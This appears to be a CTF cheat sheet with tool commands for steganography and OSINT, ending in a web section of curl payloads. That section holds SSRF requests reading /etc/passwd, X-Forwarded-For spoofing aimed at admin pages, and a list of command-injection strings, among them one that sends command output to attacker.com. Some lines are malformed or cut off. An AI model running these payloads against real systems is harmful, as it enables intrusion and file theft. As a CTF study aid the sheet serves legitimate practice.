MANUAL CYBERSECURITY CTFs

Z4que

1.Steganography

1.1 **File :**

file {filename} # Check the type of your file

1.2 **Binwalk :**

binwalk {filename} # Check if there are hidden files
binwalk -e {filename} # Extract the files
binwalk -Me {filename} # Extract the files, recursively

1.3 **Strings** :

strings {filename} # Show the strings found in your file
strings -n 6 {filename} # Show the strings found, length >= 6
strings -n 6 -t x {filename} # Show their position
strings -n 6 | grep “ctf{” # Show only the strings >=6, with “ctf{” in them

1.4 **Exif :**

exiftool {image.png} # Image metadata

1.5 **Pngcheck** :

pngcheck -vtp7f filename.png # Look for optional/correct broken chunks

1.6 **LSB/MSB** :

a) # Go to https://georgeom.net/StegOnline/upload -> Extract files.
Select some bits and adjust the settings appropriately
b) # https://gchq.github.io/CyberChef/#recipe=Extract_LSB('R','','','','Row',0)

1.7 **Check RGB Values** : # Related write-ups:

MMA-CTF-2015

1.8 **Steghide** :

steghide extract -sf {image.png}
steghide extract -sf {image.png} -p {passphrase}
You can upload it on https://www.aperisolve.com/ for common passwords

1.11 **Zsteg :**

zsteg {image.png} # Check
zsteg -a {image.png} # Check
all
zsteg -E “b1,r,lsb,xy” {image.png} > file.txt # Extract
RUBY_THREAD_VM_STACK_SIZE=500000000 zsteg
{image.png}

1.9 **NPIET language :**

Documentation :
https://www.bertnase.de/npiet/npiet-execute.pp

1.10 **Stereogram** :
Documentation :
https://piellardj.github.io/stereogram-solve/

1.11 **sigBits :**
File :
https://raw.githubusercontent.com/Pulho/sigBits/master/sigBits.py # Command example :
python3 sigBits.py -t=msb {image.png}

1.12 **ROBOT 36 :**
Documentation :
https://sstv-decoder.mathieurenaud.fr/

1.13 **Spectrogram (Audacity) :**
Writeups :
tsunami researcher
Digital Dust - Unraveling

1.14 **Others :**
Writeups :
impasta

2. OSINT :

2.1 **Your Browser :**
Use browsers, like :
- DuckDuckGo (profiles)
- Yandex (images)
- Google Images (images, obvious)

2.2 **Sherlock :**
sherlock {username} # Search for social media profiles.
Manually search the resulting profiles in the browser

2.3 **AI Tools :**
Use AI tools so search specific information, like :
- Perplexity
- Deepseek
- Chat GPT

2.4 **VirusTotal :**

If you have a challenge, like OSINT + Malware :

totally hidden

2.5 **Google Maps, Google Earth**;

2.6 **Skill**;

2.7 **Others** :

Writeups :

Treasure-map

3. Web

3.1 **Curl** :

3.1.1 **Information Gathering :**

- curl -I https://target.com (Information Gathering)

3.1.2 **SSRF :**

- curl 'https://target.com/image?url=http://127.0.0.1/admin'
- curl 'https://vulnerabil.com/page?url=file:///etc/passwd'

3.1.3 **Spoofing IP with X-Forwarded-For :**

- curl -H "X-Forwarded-For: 127.0.0.1" https://target.com/admin
- curl -H "X-Forwarded-For: 192.168.1.100" https://target.com/
- curl -H "X-Forwarded-For: 0.0.0.0" https://target.com/
- curl -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 127.0.0.1" https://target.com/admin

3.1.4 **Authentication Bypass :**

- curl -H "Authorization: Bearer [TOKEN]" https://target.com/api/data

3.1.5 **Send a JWT token or API :**

- curl -u 'admin:passwd' https://target.com/admin

3.1.6 **Command Injection :**

- curl "https://target.com/page; whoami"
- curl "https://target.com/page| whoami"
- curl "https://target.com/page&& whoami"
- curl "https://target.com/page|| whoami"
- curl "https://target.com/page$(whoami)"
- curl "https://target.com/page`whoami`"
- curl "https://target.com/page; cat /etc/passwd"
- curl "https://target.com/page; ls -la"
- curl "https://target.com/page%3B whoami"
- curl "https://target.com/page; id; whoami; pwd"
- curl http://attacker.com/$(whoami)"
- curl "https://target.com/page;
- curl "https://target.com/page; echo hello > /tmp/hello.txt"

- curl "https://target.com/page?ip=127.0.0.1; whoami"
- curl "https://target.com/page?ip=127.0.0.1| whoami"
- curl "https://target.com/page?ip=127.0.0.1&& whoami"
- curl "https://target.com/page?ip=127.0.0.1|| whoami"
- curl "https://target.com/page?ip=127.0.0.1$(whoami)"
- curl "https://target.com/page?ip=127.0.0.1`whoami`"
- curl "https://target.com/page?ip=127.0.0.1; sleep 5"